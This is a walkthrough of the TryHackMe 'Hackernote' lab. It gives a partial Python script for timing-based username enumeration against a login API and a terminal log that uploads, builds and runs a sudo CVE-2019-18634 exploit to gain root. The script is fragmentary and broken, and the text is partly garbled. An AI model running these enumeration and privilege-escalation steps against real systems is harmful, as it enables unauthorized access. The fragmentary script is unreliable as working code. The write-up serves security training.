Hackernote Tryhackme Walkthrough
Hackernote Tryhackme Walkthrough
exxploitation skills.
IP: 10.10.146.155
There a login page on the website and it encloses a lot of details while loggin in.
If you are a user u get loggin you in even if the password is wrong.
So this can be used to enumerate users.
We will be writing script to calculate such tasks and using names.txt as a username
list.
Script:
#!/usr/bin/env python
import requests
import json
import time
username_file = open("names.txt","r")
url = "http://10.10.82.57/api/user/login"
usernames = []
timings = dict()
for line in username_file:
usernames.append(line.replace("\n",""))
def doLogin(user):
creds = {"username":user,"password":"123"}
response = requests.post(url,json=creds)
if response.status_code != 200: # This means there was an API error
print("Error:", response.status_code)
time.sleep(0.01)
largestValue = max(timings.values())
smallestValue = min(timings.values())
Your notes:
My SSH details
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
root@LAPTOP-U5913CMD:/home/akshay/Desktop/hackerNote/sudo-cve-2019-18634# scp
exploit.c [email protected]:/tmp/
[email protected]'s password:
exploit.c
100% 6311 42.1KB/s 00:00
root@LAPTOP-U5913CMD:/home/akshay/Desktop/hackerNote/sudo-cve-2019-18634# scp
[email protected]:/tmp/
.git/ .gitignore LICENSE Makefile README.md exploit.c
root@LAPTOP-U5913CMD:/home/akshay/Desktop/hackerNote/sudo-cve-2019-18634# scp
Makefile [email protected]:/tmp/
[email protected]'s password:
Makefile
100% 230 1.6KB/s 00:00
root@LAPTOP-U5913CMD:/home/akshay/Desktop/hackerNote/sudo-cve-2019-18634# ls
LICENSE Makefile README.md exploit.c
root@LAPTOP-U5913CMD:/home/akshay/Desktop/hackerNote/sudo-cve-2019-18634#
james@hackernote:/tmp$ make
cc -Os -g3 -std=c99 -Wall -Wextra -Wpedantic -static -o exploit exploit.c
james@hackernote:/tmp$ ls
exploit Makefile
exploit.c systemd-private-9ba521bd205240aca29e8a88a0a33a4e-systemd-
resolved.service-zFyWeF
les.sh systemd-private-9ba521bd205240aca29e8a88a0a33a4e-systemd-
timesyncd.service-rOnd1n
les.sh.1
james@hackernote:/tmp$ ./exploit
[sudo] password for james:
Sorry, try again.
# id
uid=0(root) gid=0(root) groups=0(root),1001(james)
#